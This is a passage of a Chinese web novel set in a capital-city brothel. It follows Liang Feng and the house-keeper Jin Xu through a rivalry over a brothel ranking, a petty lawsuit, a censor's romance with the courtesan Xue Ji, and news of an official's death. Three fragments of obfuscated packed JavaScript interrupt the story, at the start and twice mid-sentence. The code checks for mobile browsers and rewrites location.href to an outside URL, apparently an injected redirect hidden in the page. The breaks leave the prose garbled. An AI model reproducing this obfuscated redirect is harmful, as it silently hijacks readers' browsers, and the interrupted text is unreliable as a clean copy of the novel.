l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14839907|159134||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “叫官府把我抓起来。” 梁风十分点头,“该判刑。” 金絮转转眼珠子,看了看他,趴回他的肩头。 “我可不会把你送去官府。” 她低声道:“送去的话,你会被连坐的。” “如果有一天你被送去官府了,那我就和你一起连坐。”梁风道。 “才不呢,你是金家人啊?” “不是又怎样。”梁风厚起脸皮,“你就说我是你的人又能怎样。” 金絮哼哼,小声嘟囔:“我的人可多了。” “你的人都有谁啊?”梁风问:“你喜欢什么样的人?” 她低头想了想,很快回答:“我喜欢能让我心软的人,也喜欢能教我学会愤怒的人。” 梁风心里一比,不痛快道:“你好贪心,你想找两个,你想左拥右抱。” “也可以啊,反正我有两只手。” 她的两只手越过他的肩头往前伸,展示给他看。梁风怨怨地盯她,她得意地补充:“还有十个指头呢。” 她想要十个。梁风一哼:“了不起么,我也有十个指头。” 他偏一偏头,嘴唇就会碰到她,他尽量只偏脸。 脚底一歪,踩到个石头。梁风站正,心里不痛快,这么寻常的黑夜也要触他的霉头。 他用视线的角落打量她,“你很看得上温柔馆那些男的?” 她不说话。 “我在你心里和那些男的是一样的么?” 不用问,肯定不一样,他怎么可能和别人是一样的呢,那些男的有他认识她的时日长么? “不一样。”她答。 梁风又一哼,略略满意。 然而她啧啧起来,评说道:“温柔馆里每天都有男人说爱我,你不是说得最动听的。” “动听能当饭吃?”他不认可,极其不认可。 “动听不能当饭吃。” “他们说爱你,是想和你睡觉。”梁风抹黑。 “你不想和我睡觉。” 梁风噎住,嘴皮子沾成一块,喉咙里的还要和她辩驳的字眼被他咬碎吞下去。 据他所知,据他肤浅的所知,温柔馆的来客是存在和姑娘只走心不走肉的人的。他也不是最特殊的那一个。 这个发现让他很丧气,垂头小声道:“我想和你亲近一些。” “怎样亲近?”耳朵离得太近,她听见了。 梁风抿抿嘴,看她凑近的脸颊,局促片刻,说:“像这样。” 他把自己的脸颊往她脸颊上一贴,然后把头颅收回来,看她反应。 她扯扯嘴,用嘴角动动脸颊,“也不近嘛。” 当然,还能有更近的。梁风默默不语,默了补充道:“我就说你有罪。” 金絮忽然在他背上一跳,迅疾前倾伸手捞住他怀里的酒囊,一把夺了过去。 “尊敬恐惧,尊敬宽恕。”她高举双手,向天敬火把和酒囊。 梁风回头看她,月光下的双眼也没什么醉意。 “下辈子我要做一头猪。”金絮咬塞喝果酒。 “少喝些。” 只喝了一口,金絮安安分分地趴回他的肩头,老实了。 梁风贴贴她的脑袋,忽然又无所谓他是不是特殊的了,反正她在他这里是独一个的。 “你可以随意些,想怎样就怎样,反正我是心甘情愿的。” 她的头发丝摸他的脸,梁风觉着这个距离也挺好。 即将天亮的时候下到山脚,梁风扶着她坐进车里,金絮把抱了一路的牌位递给他,梁风接了。 这些牌位肯定是要烧掉的,不可能留着,她心里明白,她愿意给他烧。 梁风驱车回城,行至城门口时天已全亮。 他径直驾往温柔馆。到了馆门前,他一掀车帘,金絮在车里头睡着了。 梁风抱着她在寂静中回房。 173. 《红叶书》(九三) 谨慎处理掉牌位,梁风住回温柔馆。 春天过去了,进入夏天,衣衫渐薄。 那棵窝了个鸟巢的树传出尖细尖细的弱鸟叫声,很响亮。梁风留意到,爬上去一看,鸟巢里多了三只毛没长齐的雏鸟。凝荷有事干了。 每日凝荷有需要,梁风就上树给她把鸟窝摘下来,喂了食再把鸟窝放回去,乐此不疲。 他整日在温柔馆闲逛,金絮没空陪他看书时他就去崔府找敬先。他花天酒地无所事事,敬先的孩子都会走路了。 温柔馆议论雪姬的人逐渐增多,交头接耳地猜测她去了哪里、干了什么,议论声之大,传入了梁风的耳朵。 金絮对姑娘们发了话,闲时有什么想去的地方,她们大可随意去,不用眼馋,温柔馆又不是牢狱。 于是许多姑娘出去玩,议论声消停了。 大厢越发能干,帮金絮分担了许多事情,金絮的空闲时候增多。梁风一边填满她的空闲时候,带她四处玩玩走走,一边惦记着她在太南的那座宅子。 那座宅子没点他的位置,他想在太南给自己找个安身的地方,他也要在太南买座宅子。 这念头一生出来,梁风明面上让老李托人去太南置地,暗地里吩咐暗卫去太南打听从前顾氏的旧宅现今如何了。那座有着一座马场的旧宅,如今应当荒废着。 金絮没发现他这个小动作,梁风暗暗想着给她一个惊喜。 没过多久,出去玩的姑娘们回来了,议论的氛围沉默下来。 金絮没说什么,梁风想也知道,肯定是在外面遇到歧视了。温柔馆的名气愈大,她们在外面非常容易遇见自己的恩客,一遇上,招呼一打,原本能被温柔馆片瓦只墙遮盖的那般这般就不得不暴露在阳光之下了。 金絮最近有别的事要忙,连梁风都冷落了几分。 “你在忙什么?”梁风追着她,大步甩她的冷落在身后。 “青楼行当最近在搞什么‘四大馆’,选出四座名气最大的青楼。”她语气闲闲,“天气暖和,人一活泛起来就爱生些新念头。” 她在看一本小册子,上面写着大大小小的青楼名字,以及对应的鸨母管事。梁风看了一圈,只对畅春阁的名头熟悉一点。 “温柔馆想选为四大馆啊?” “嗯,我想着京城的青楼行当名气大了,说不定能传到泽南那边,来客中的行商流动增多就能带来更多的消息,还能把馆里那群当官的熟客压一压。”她十分淡然,“四大馆按民意评选,温柔馆有信心。” 梁风哦了声,他对四大馆没什么所谓,只是温柔馆越做越大,她买的那座太南宅子有什么用。 “你想听见什么消息啊?” 她不说话。梁风等一会儿,又问:“你想听见什么消息啊?” 金絮在他脸上看了看,才答道:“馆里熟客多是当官的,如果可以的话,我能将温柔馆变成江湖上探听朝廷情报的中枢,像天机阁那样。” 挺危险的事。梁风叨叨:“你是总能找到事情做的。” “嗯。”她好没所谓一点头。 有他在旁边,她要做的事情出不了格。梁风在金絮身边转转悠悠。 姑娘们对待生意显得很热切,趁机多揽民意,金絮和大厢商量这段时日需不需要降低房钱和酒钱。 不热切的姑娘也有,丽姬算一个,还有一个是雪姬。 日子越来越热,姑娘们身上的衣服变成纱衣,梁风有的时候没地方放眼睛。他不允许金絮穿纱衣。 然而当金絮出现在他面前—— 肩颈、腰侧和膝盖,这三个地方没什么遮挡。梁风瞪着金絮,她该穿还是穿。 那群男的纷纷把眼睛往她身上放,梁风不满道:“这衣服又不好看,还不如换一件。” 金絮四下里看看,“雪姬怎么还没来?” 梁风不知道。雪姬今日确实回来得晚了,平日在太阳下山前就会回来的,这会都过戌时了。 大厢也不知道。金絮皱了皱眉,去到大门口看一看。 房钱降了两成后,温柔馆生意火热,一入夜,厅堂就堆满了男人。金絮穿过人群,注视的目光厚实得简直像替她穿上了一件冬衣。梁风在她身边走来走去。 “你穿这么少,夜里吹风会着凉的。” “凉风不和我说话,也就没有风对着我吹了。” 他一愣,没想到她作弄他的名字。很少见她用全名叫他,梁风沉默了。 戌时没过一刻,街边见到了雪姬。 雪姬一副惯常的低眉敛目却清冷看人的神态,身边贴身跟着个男人。梁风看了眼,雪姬身边的男人居然是冯棹台。 金絮眸光微凝,犀利起来,“那男人是谁?” “御史中丞,冯棹台。”梁风答道。 “你认识。” “嗯,有点交集。” 眼看二人走近,梁风才意识到冯棹台的目标真的是温柔馆,雪姬带了个男人回来。他愣愣看着,很诧异,冯棹台不像是会喝花酒的人。 冯棹台走到门前,一抬头也看见他,倒不多惊讶,很快揖礼道:“臣拜见安分王殿下,多日不见,您可好?” 还挺客气,梁风道:“你是来查案的?” 冯棹台笑笑,“自然不是。我是来看看雪儿每日住的地方。” 雪儿。梁风这才发现冯棹台和雪姬牵在一起的手,他了然,“哦。” “看吧看吧。” 雪姬对金絮略一点头,带着自己的男人走进去。 金絮注视冯棹台的背影,眉头微皱,目露担忧,“御史中丞这个官职我知道。” “我也知道。” “再往上升是御史大夫,御史大夫是副丞相,相当于他是未来丞相。” 她很了解,梁风低头看她,“你在担心什么?” 金絮摇了摇头,担忧却没有消失。 但她不多管。姑娘的事情她是不会过多干涉的。 梁风看她担心,便有心多关注一会。雪姬带着冯棹台看了一遍前馆,然后单独和他待在庭院悄悄说话,没有再去过别的地方,没什么异常举动。 “冯棹台是个好官,你不用担心他在温柔馆里做什么。”他道。 “是个好官。”金絮点头复述,脸上表情没什么变化。 之后一连几天,梁风都遇见了来喝花酒的冯棹台。冯棹台每次只奔着雪姬一个人,如果雪姬有空,那么一晚上都陪着他,如果雪姬没空,冯棹台就在厅堂独自喝酒等待。 梁风忽然发现遇着了,那所谓只和姑娘走心不走肉的人。 温柔馆里议论雪姬的闲言碎语又多了起来。 夏末,四大馆的评选似乎快出来了,温柔馆不负众望,在京城的青楼行当中排名前列。 梁风不知道这个排名是怎么列出来的,通过馆里火热的生意能看出一些,姑娘们挺开心。 梁风盼着秋天,盼着她身上的衣服增多一些。 这天晚上开业不久,梁风正想着找上回见过的那个布行老板,姓林的,看看能不能商量一下给温柔馆做些夏季保暖的衣服,就见金絮被丫鬟叫出馆外处理急事。 他等了一会,不见金絮回来,便起身追出去看。 她没走远,就在大门口的街边,带着几名姑娘,似乎和另一群女人起了争执,有些推搡谩骂。 双方各有四五人,对方年纪偏大,金絮这边处于下风。和金絮起争执的人他好像没见过,不认识。 吵架,他当然要帮金絮的,梁风挺起胸膛过去支援。 “包春娘,你若真气不过,你只管告到官府那儿去,你看官府管不管这什么狗屁四大馆的事。” 包春娘跳起来用手指着她道:“你以为你有理啊?凭什么四大馆的事儿不是事儿啊?你这个馆你就有本事让官府的人听你的话呗!我们老百姓就活该受欺负呗!” “谁欺负你了?谁说官府会听我的话?官府不听我的话!”金絮指着温柔馆道:“你不服我列入四大馆,你问里面那群男人去啊!你去问他们为什么喜欢温柔馆啊!” 一指头戳到他的胸膛。金絮扭头一看,见是他,立马怒气蹬脸,推搡他道:“回你的屋去,这里没你的事。” 梁风站着不动,先看看局势。 包春娘尖锐的指头对着他刺出来,更尖的眼睛穿透他,“就是这人是吧?人模狗样的,你倒是说说看,这是个多大的官啊?敢不敢带着人和我去官府,看官府听不听这狗东西说话!” 狗东西?梁风呆了呆。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14839908|159134||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “进屋去!”金絮凶他了。 梁风委屈,他啥也没做,只是想来撑腰。 金絮的眼睛瞪过来,他乖乖地回屋了。 他在屋里端坐着,等了一炷香,金絮处理完毕回来了。 “那是畅春阁的管事鸨母,上门挑事的,不用理她。”金絮道。 不理她。可是金絮为这个不用理的人凶他了,梁风暂时先乖巧地问:“怎么啦?” 金絮坐下,口渴倒茶,“包春娘觉得这次温柔馆能成功竞选四大馆,是我托人在其中做了手脚,为自己不平了。” “我没有。”梁风老实巴交。 金絮不语,双眼看着他喝下一杯茶。 梁风真的乖巧了,“我真的没有。” 金絮放下茶杯,轻叹:“包春娘总觉得我有个当大官的人做靠山,觉得我做什么都是靠了旁人关系的。馆里来客又多官员,我有时真是百口莫辩。” 梁风低头看指。金絮道:“这次竞选四大馆,你的确没有帮过我,可是若论以往,你不能说不是我的靠山。” 梁风忍不住笑,大大的一张笑脸对着她,“我愿意成为你的靠山。不要管旁人怎么说,包春娘有本事就去找她自己的靠山去。” 她叹:“这真是句句属实,无法辩驳了。” “那你就说我不是官员。”梁风想法子。 “你不是官员,你是诸侯王。” “这个时候拿我当诸侯王了?你早都不叫我‘王爷’了。” 金絮难以反驳。梁风问:“包春娘是一个很重要的人?” “不是。” “那你在包春娘面前凶我。” 她神情停顿了一下,再道:“以后不会了。”然后补充说:“谁都要面子。” “我不是说要不要面子,我是说,在外人面前,不要显得、显得好像我们不十分熟识一样。” 梁风摆道理,金絮听进去了,她用手掌搓搓脸,点了点头。 临近秋天,姑娘们的衣裳终于厚实起来。 中秋前的一日,开业前梁风在前馆二层窗边望风色,看见街头并肩走来的一对男女。 是雪姬和冯棹台。他们两人一边慢吞吞走路,一边说话。冯棹台的脑袋微微向雪姬偏着,一副专心倾听的神情。 不知说到什么,两个人停下了。梁风耳边听见走路动静,扭头一看,金絮走了过来。 他正想和金絮说话,金絮却一眼注意到了街头那两个人。 梁风拽住她,再三强调:“你是必须要陪我的。” “嗯。”她轻轻应了,声音里有一股悲戚和怜悯。 梁风再往街头看,雪姬不知因为什么哭了,窝在冯棹台怀里哭。冯棹台抱着她,手掌轻轻拍着,说着什么。梁风隔远了都能感到雪姬哭得很痛苦。 初秋的寒风里,冯棹台站得像一把利剑,袍袖被风吹得猎猎飞舞。雪姬缠身的裙裾纹丝不动,只有丝绢般发亮反光的黑发片片扬起。她抱着冯棹台,紧紧抱着。 “她和我说过,冯棹台相信她。” 金絮看着街头二人的眼睛像一团湿了的棉花,模糊不清,扯开了也只看到棉花模糊的脉络。 梁风紧紧拽着她的手臂不放开。 中秋后,太南那边有了回音。 暗卫告诉他,那座顾氏旧宅可以购入,且不麻烦,只需要花点钱,从郡守那里买来就是了。那座宅子已经不属于顾氏,如今新名字就叫空屋。 梁风写信让老李安排这件事,多少钱都随时调动,并嘱咐老李明面上在太南再另外买一处宅子做掩饰。 第一场雪下来,梁风夜里久违地惊醒。 他听见了屋顶飞踏而过的脚步声。 这脚步声很熟悉,熟悉至极。他飞上屋顶,已看不见路过的人。 守在附近的暗卫告诉他,路过的是天机阁传递情报的哨卫。 又是天机阁。 但是这次并没有人接应这个哨卫,藏了情报的纸条就用一块石头绑了扔在草丛里。暗卫捡了石头给梁风看。 梁风打开纸条看了,上面写着查无此人。 小缃显然已经是金絮的人了。 她还在联系天机阁,她还在找家人,她还没有放弃。 174. 《红叶书》(九四) 她要找人那便找,想做什么做什么,暗中为她遮掩,不被人发现就行了。 梁风将纸条和石头封好放回原位。第二日一早,他藏身暗处,悄悄看见金絮起来到草丛里捡了石头拿回房。梁风不打算说。 早晨吃饭,金絮和他同桌,他问:“我说我的王妃之位等着你,你说你不喜欢。你是不喜欢我,还是不喜欢王妃之位啊?” “不喜欢王妃。” “那你喜欢我。” “......”她眉毛抽了抽,“也没有。” “哦。”梁风低头啃饭。 蒸饭快要见底,梁风瞧瞧她,又问:“凝荷她们为什么一直不离馆啊?从前嬉春院到现在还留在馆里的那些人,她们应当早都攒够赎身的钱了吧。” 金絮用勺子把饭戳散了再吃一勺,“离不了。她们那几个人的户籍无法改为良籍,前几年把卖身契弄丢了。” “卖身契?需要卖身契才能更改户籍?” “是啊,贱籍从良必须要卖身契,否则官府是不办的。” “这不难办吧。”梁风寻思道:“前几年战乱频发,百姓家中遗失文书是常有的事,官府应对这类情况应当有别的处理方式才对。” “不知道。我找遍了办法,就是办不了。”金絮专心吃饭,专心之下有种不平静的淡然。 梁风前倾认真看她,“你有难处。” “不用你帮。”金絮知道他在想什么。 “不帮你一下都不能说我是你的靠山。”梁风理所当然道:“我得里外里坐实才行。” 金絮吃完饭,放下勺子走出去,不理他了。 春节很快到了,暗卫来消息,太南那座空屋成功买下,老李来信问他给宅子起个什么名字。 梁风没主意,决定悄咪咪问金絮。 温柔馆喜气洋洋,连带庆祝列入京城四大青楼,金絮花大钱为馆里全部人准备了一餐团圆饭。 酒楼送大餐来馆的时候,梁风帮忙招呼着,今年不进宫吃那宫宴了。 但是团圆饭不够团圆,吃这桌饭的人里少了雪姬。 雪姬在这天单独出门和冯棹台见面,不回来。 金絮没说什么,由得雪姬去了。 这段日子,他也看出几分冯棹台行事的规律来。冯棹台每两日来馆一次,专找雪姬,雪姬若是当夜不得空见他,两人就会约定第二日再见。每次见着面,两个人总是一块窝在小树林里,或者坐在亭子下,聊些卿卿我我,谈些耳语私话,十分和谐。 有时梁风或者其他人路过,他们两个看也不看,仿佛全世间只有他们两个人。雪姬面对冯棹台也不像对馆里其他男客那样欲拒还迎,只有还迎,没有欲拒。 梁风并不羡慕,完全不羡慕,这只能说是两个心意相通的人在一起的模样罢了。 金絮和他同桌挨肩吃饭的时候说:“你觉得,冯棹台对雪姬是不是真心的?” 梁风真心道:“是啊。” “那雪姬对冯棹台是不是真心的?” “是啊。” 梁风觉着这话都不用问,光是看都能知道了,“他们两个人,和我们完全不一样,他们当然是真心的。” “是么。”她心不在焉地用筷子挑掉鱼碟里的姜丝,一边说:“冯棹台想为雪姬赎身,雪姬不愿意。” 梁风大为诧异:“你这个馆里有那么好?都愿意留着啊?” 金絮看了他一眼,梁风噎嘴,反问:“是不是一段关系的开始不能发生在风月场所里面啊?” “不知道。” “我们就不是。” 这天晚上雪姬还是回来了,冯棹台送回来的。这很符合梁风对冯棹台的一贯印象。 但冯棹台似乎很喜欢惹雪姬伤心,他有时路过,总会看见雪姬缩在冯棹台怀里哭,不知哭什么。 他连连摇头,这可不能学。 梁风选个时机,直接当面问冯棹台:“你既然喜欢她,为什么总惹她哭啊?” 冯棹台愣住了。 这是私事,梁风问当然逾越了,他只是很奇怪。 “不说也没事,我多嘴。” 冯棹台不顾忌地笑了笑,“我不希望她总是哭。” 冯棹台敛了笑,微沉吟道:“她为她的家乡很伤心。” “宁安县。”梁风知道,他想起之前雪姬和他说起过这个事,“我查过宁安县。你相信她的话?” “相信。”冯棹台颔首,“宁安县的事有隐情,臣相信她。” 隐情?“什么隐情?” 冯棹台却没回答,梁风转念一想,明白什么,“你是打算为她重查宁安县?” “嗯。”冯棹台应了,但不多说。 梁风也不多问,朝堂的事情跟他没关系了。 冯棹台渐渐走远,梁风莫名又想起雪姬从前种种,心里有种很怪的感觉,但是说不清楚。 梁风再次和金絮提起,要不要一块重写《红叶书》。 金絮不愿意。 梁风决定自己写。金絮没空,他可闲得很,他自己写。 元宵后的一日,梁风照常在厅堂的角落位置,一边做自己的事,一边看金絮忙来忙去。姑娘们都到了前馆,即将开业,门外丫鬟忽然着急忙慌进来和金絮耳语几句。金絮说了什么,丫鬟又出去了。 梁风看来看去,看到丫鬟再进来,还带来了一个身穿官服的男人。 他一愣,不自觉站起身,走到金絮身边。 这官府的人出示文书,扬言要带走温柔馆主。 姑娘们吓了一跳,金絮询问之下,得知是包春娘报官了。 畅春阁主举报温柔馆凭借人脉靠山以阴私手段获取了四大馆名额之一,叫金絮过去对簿公堂。 “包春娘没完了?”梁风和金絮贴身,防止有人动粗。 “我去一趟,你留在馆里等我回来。”金絮道。 “会不会有事?” “没事,包春娘拿不出证据的。”金絮多叮嘱一句:“你不许出手。” 金絮跟着官府的人走了,梁风留在馆里等了会,藏身暗中追上她。 她是想他避嫌,不要站出来为她撑腰,不要坐实温柔馆的确有势力背景。他先看看情况,有出事迹象再动手。 暗卫潜身府衙外监听,堂审的不是个大官,只是廷尉左监下的一个直吏,名字梁风完全没听说过。堂审的地方也只是个小隔间,不算正式堂审。这个小隔间是包春娘砸钱砸出来的。 包春娘报官是为了验证温柔馆是否会受到官府的偏袒包庇,金絮不自证,只让包春娘拿出温柔馆存在靠山的证据。包春娘拿不出证据。 没有证据,官府自然做不出对温柔馆的判罚,而官府不主动,包春娘非要说这摆明了就是官府在包庇偏袒温柔馆的表现。 小隔间是官府不耐烦而打发的戏耍,梁风知道官府不大愿意管这样的事情,四大馆只是青楼行当内部的说法而已,自己人和自己人玩就是了,与外人无关。 小隔间的堂审争执不下,直吏大人彻底不耐烦 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14839909|159134||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,将金絮和包春娘赶了出去。 她一出来,梁风就现身把她带回去,防止包春娘怒火冲着她发泄。金絮也很乖地和他回家。 包春娘愤愤然,指责官府拿钱不办事,在府衙门口骂骂咧咧,遭到守卫驱赶。 “为什么不承认你就是有靠山呢?” “你是我的靠山。”金絮道:“但是温柔馆经营这几年,能做起来并不完全依靠你的帮助,而且四大馆这件事情上,你没有出手就是没有出手。” 梁风抓住关键,“我是你的什么?” 她不说话,梁风追问:“我是你的什么?” “你是我的荷包。” 梁风很爽快地接受了,“荷包也是靠山的一种。” 第二日,青楼行当内部各种风言风语在角落里传了起来,大多是说温柔馆有巨大的背景,寻常人家难以企及,官府收了钱甚至都因此忌惮而不办事。梁风略一打听,流言都是从畅春阁传出去的。 金絮出门转了一圈,打探清楚了。 包春娘在四大馆名额出来前,曾和一个小馆达成约定,以四大馆名额之一换取小馆的归顺,结果名额出来后小馆竟然没有在内,包春娘就想把温柔馆挤出去,让小馆替补,没想到温柔馆这么难搞。 “你要怎么做?”梁风问她。 金絮暂时没说话,梁风帮她分析道:“这样下去肯定会对温柔馆的生意造成影响,馆里那些文官注意到你,万一查你呢,这样的局面对你不好。” “四大馆是畅春阁发起的,原来包春娘一早就想夹私。”金絮道。 梁风提议:“有一个办法就是把我推出来,这样旁人的注意都到我身上了,不在你。” 她摇头,“不行。” “有什么不行的,我不是你的靠山么。” “不行。我有办法。只要官府判罚温柔馆,出一份判决书,我再拿着这份判决书举报包春娘无证诬陷,包春娘受到惩罚,流言也就破了。” “好像是个伤敌一千,自损八百的法子。” “没关系。温柔馆不受到损害,就没人相信温柔馆真的没有背景靠山。” 她说得很决绝。梁风自己寻思,这当中肯定有他能略施小计的地方。 隔日,流言却歇下去了。 不是一夜间被捂嘴噤声,而是被另一种传言快速代替。更多的人现在说温柔馆真正引得文官常顾的原因仅仅是因为馆风端正,易吸引文官偏好。 金絮一早听说,梁风立刻派出暗卫细查,隐约查到背后出手的竟然是御史。 “御史?”金絮纳罕。 梁风想起上回冯棹台说的话,不知冯棹台是什么打算。 “是冯棹台吗?”初见冯棹台时的警惕与担忧再次出现在她脸上,金絮猜测:“去年有段时候,雪姬出外也受到了一些非议,当时就是包春娘传出去的,冯棹台是想保护雪姬吗?” “应当是的。”梁风想让她放心,“以我对冯棹台的了解,他是个可信任的人。” 她还是很担忧,梁风安慰:“你的荷包不止一个。” 她连连皱眉,“我自己有一个荷包,多的不要。” “你的一个,是哪一个啊?” “我自己的啊。” 她从怀里拿出一个蓝黑色的荷包,也就巴掌大,还不鼓囊。 “好像小了点,你不在身上多挂一个吗?” “不要。” 她扭头就走了。梁风摸摸胸口,想起来他平常是不会随身携带荷包的。 175. 《红叶书》(九五) 梁风暗中观察,金絮和冯棹台简单地聊过一次。 她为了雪姬,确认是否是冯棹台在背后帮助温柔馆。冯棹台承认了,的确是雪姬向他寻求帮助,希望他能出手阻止畅春阁,另一方面是雪姬不堪忍受包春娘总在背后胡乱说的那些话。 梁风查过畅春阁,和温柔馆不一样,畅春阁背后有个泽南的富商支撑,盈亏不全由包春娘自负。京城内大多数有名气的销金场所都是如此,包括书肆。但温柔馆是金絮一个人的,温柔馆是极少数情况。 梁风还打听了外边对雪姬的说辞,那些舌根嚼出来的碎话,都在说雪姬夜里忙,白日里也忙,不是昼夜颠倒,而是黑白不分,一整天十几个男人算少了。温柔馆落魄了,堂堂花魁接客竟如此泛滥,一点架子都不端,其他姑娘一天岂不是得上百个男人。温柔馆价钱低啊,姑娘们都便宜啊,这样的身价配得上京城四大青楼? 梁风深感不实,谁能一晚上接那么多客。 金絮很苦恼,“雪姬自从来到温柔馆,总是有意无意和我疏远。” “是么。” “她有事都不愿意找我,而去找冯棹台。也是我疏忽了,谁会愿意听那些流言蜚语,她心里怎么可能痛快。” 梁风却觉得雪姬最开始还是很愿意亲近金絮的,后面才疏远了。 “你帮我个忙。”金絮看着他道。 “好啊。有事情找我,别找冯棹台。” “你帮我告状。”金絮道:“你以畅春阁主砸钱却无法使唤官府办事,官府收受私贿,贿价巨高,为此不平为由,向皇帝举报发现贪官。” 这个说法告状是挺简单,梁风先未答应,“你想做什么?” “包春娘刚受了委屈,立刻就有安分王为她不平,这能证明畅春阁才是有靠山的,而不是温柔馆。” 梁风想了想,点头,“最好是能具体指向一个人。” 她有打算,“那便举报当时堂审的那位廷尉左监下的直吏。” “我举报廷尉左监吧。”针对官职太小的人皇帝容易起疑心,廷尉左右监不上不下。 金絮笑了一下,“谢谢你。” “不许说谢谢。我们什么关系,还用得着说谢谢?” 梁风立马去办。 告状折子内容得慎重,他要考虑后续,这道折子交上去帮了她的忙,绝不能给她和温柔馆还有他自己带来任何后续麻烦。 他已经交权了,最多可以管到燕国每年纳贡或是燕国内部的部分官员任免,还不一定有效,他是如何也管不到京城的官员的。如果举报这个贪官给他带来了好处,定会引起皇帝疑心,而且廷尉左监背后还不知是什么人。 为了不显得他越权,梁风决定这道折子就写——他听见青楼女子哭诉,说最近风言风语太多,污人清白。起因是畅春阁主在官府那里受了委屈,给的钱打了水漂,事情没办成,一气之下四处散播谣言,拖所有人下水。哭诉的女子楚楚可怜,请求安分王出手,帮帮她们这些弱女子。于是梁风心一软,为她们不平。 文官内部出现问题,皇帝定会乐意整治。重点是,交折子告状只是为了哄女子开心,而不是举报贪官,更不是妄图动摇官员任免配置。 在外人看来,是安分王为畅春阁主持公道;在皇帝看来,梁风是个沉溺男女情爱、对朝廷动向毫不关心的闲散王爷。 梁风很满意,写好折子交上去。 隔日收到皇帝回复,皇帝说知道了。 官府很快有动作,梁风追踪之下,廷尉左右监受到减俸惩罚,下属直吏罢免更换。 皇帝趁着梁风这道告状折子,给廷尉换了一批血,新来的人不知有多少是皇帝的人。 他在温柔馆,偶尔暗中感到几道仇恨的目光射向了他。梁风只当啥也没感觉到。 各家酒楼茶馆流传的说法变了,畅春阁成了一呼百应、在官府里十分有头脸的大人物。包春娘十分沉浸于传闻中的自己,还送了礼给金絮。 帮她办成了事,梁风在她面前得意了几天。 没过多久,梁风又听说,畅春阁远在泽南的富商对畅春阁撤了一笔补助冬资的钱财。从前的流言彻底消下去,包春娘也随之沉寂了。 馆内的风气令金絮都有所察觉,主动问他:“你帮我告状,是不是给你惹了麻烦?” “没有啊。”他没所谓,是真没所谓。 “你有麻烦和我说,我也会帮你。至少让那几个总是瞪你的人收敛收敛。” “好啊。”梁风爽快道:“我正好有个事要问你。” “你说。” “我新买了座宅子,你说起个什么名字好?”回答他这个问题,作为他帮忙的回报。 金絮略思索,没想太久,建议:“和光吧。和其光,同其尘。” “什么意思啊?”他只知道是《道德经》的句子。 “自己看书去。” 梁风追问:“你不问我买的什么宅子?” “不问,你全凭自己喜好。” 全凭他的喜好?梁风决定就用这个名字。 他写信给老李,老李可以回京了。 春天到来,万物复苏。 入目所见的一切洋溢着勃勃生机,梁风看得心情愉悦。姑娘们心情也好,丽姬和雪姬少了许多争执。 他的每日作息慢慢变得和金絮完全同步了。每日醒来,跑到庭院里一看,她也醒了;凌晨算完账目,和她一起熄灯。 梁风成日在她身边转来转去,眼见她身上的衣服又要变得稀薄。 “你准备什么时候去太南玩玩啊?” “近期不准备回去。” “你如果想回太南看看了,要提前和我说哦。”他离京没那么容易,还得看皇帝同不同意,“不如在太南那边过夏。” 一日日围着她屁股打转,天气逐渐炎热起来。 白日在院子里玩耍的姑娘少了,进到室内躲日头了。寂静之余,梁风数次注意到雪姬独自待在亭子里发呆。 雪姬身边总是很少见到有人陪着,梁风多留意两眼,才发现雪姬入了夜都独自待在林子里,很少去前馆。 他问了问金絮,金絮说可能是因为冯棹台来得少了。五月底至今,冯棹台就来过两三次。 金絮估计两人闹了什么矛盾,由他们去了。 过了芒种,很快到六月中。金絮给馆里准备消暑的绿豆,起了个大早,带上梁风一起去南市。 今日南市格外纷杂,梁风护着她避免踩踏,金絮径直去往年常去的豆铺。 铺主殷勤地给她挑看豆子,金絮看了一圈,有些犹豫,今年的豆子都不太好。 铺门口路过两个男人,议论着说京城昨夜死了人。梁风闻声侧目看去,诧异道:“昨夜城里死了人?” 金絮的动作都停了。铺主道:“是啊,今日一早大家都在传,昨个晚上有人死在了风月街的大花楼。” “哪个花楼?”金絮问。 “好像叫什么,初香坊?” “初香坊死了人?”金絮愕然,“出了什么事情啊?” 梁风不知道,“喝花酒还能喝死人?”看起来城内巡防有疏漏啊。 铺主踱步到门外,向街上望,感慨道:“这两年京城死的人变多了啊,不过是没传开而已。昨夜死的人听说是个大官,这才传开了。” 有个大官死在了初香坊,金絮不安地看着他。梁风道:“我去打听一下。” 他遣暗卫出去,但事情很大,根本不用打听,光听街上议论的人就能听明白了。 死的人是相府长史,如何死的尚不清楚,廷尉和相府已经介入调查,初香坊暂时封锁。 “相府长史。”金絮神情凝肃,“相当高的官职。” “嗯。”梁风感到不对劲,大官意外身亡,牵连到的人肯定不少,背后不会有皇帝吧。 “我想去初香坊看看。”金絮道。 梁风驾车带她绕了小半座城,到了风月街初香坊。还没走到就已经看见初香坊被廷尉封锁了,封条贴了整个馆,带刀护卫在馆外站了一圈,梁风都无法进去。 金絮很不安,梁风和她回到温柔馆,馆里不少姑娘也听说了这件事。 姑娘们都在议论,猜测长史大人是什么原因死的,有说是纵欲过度,有说是吃了有毒的东西, 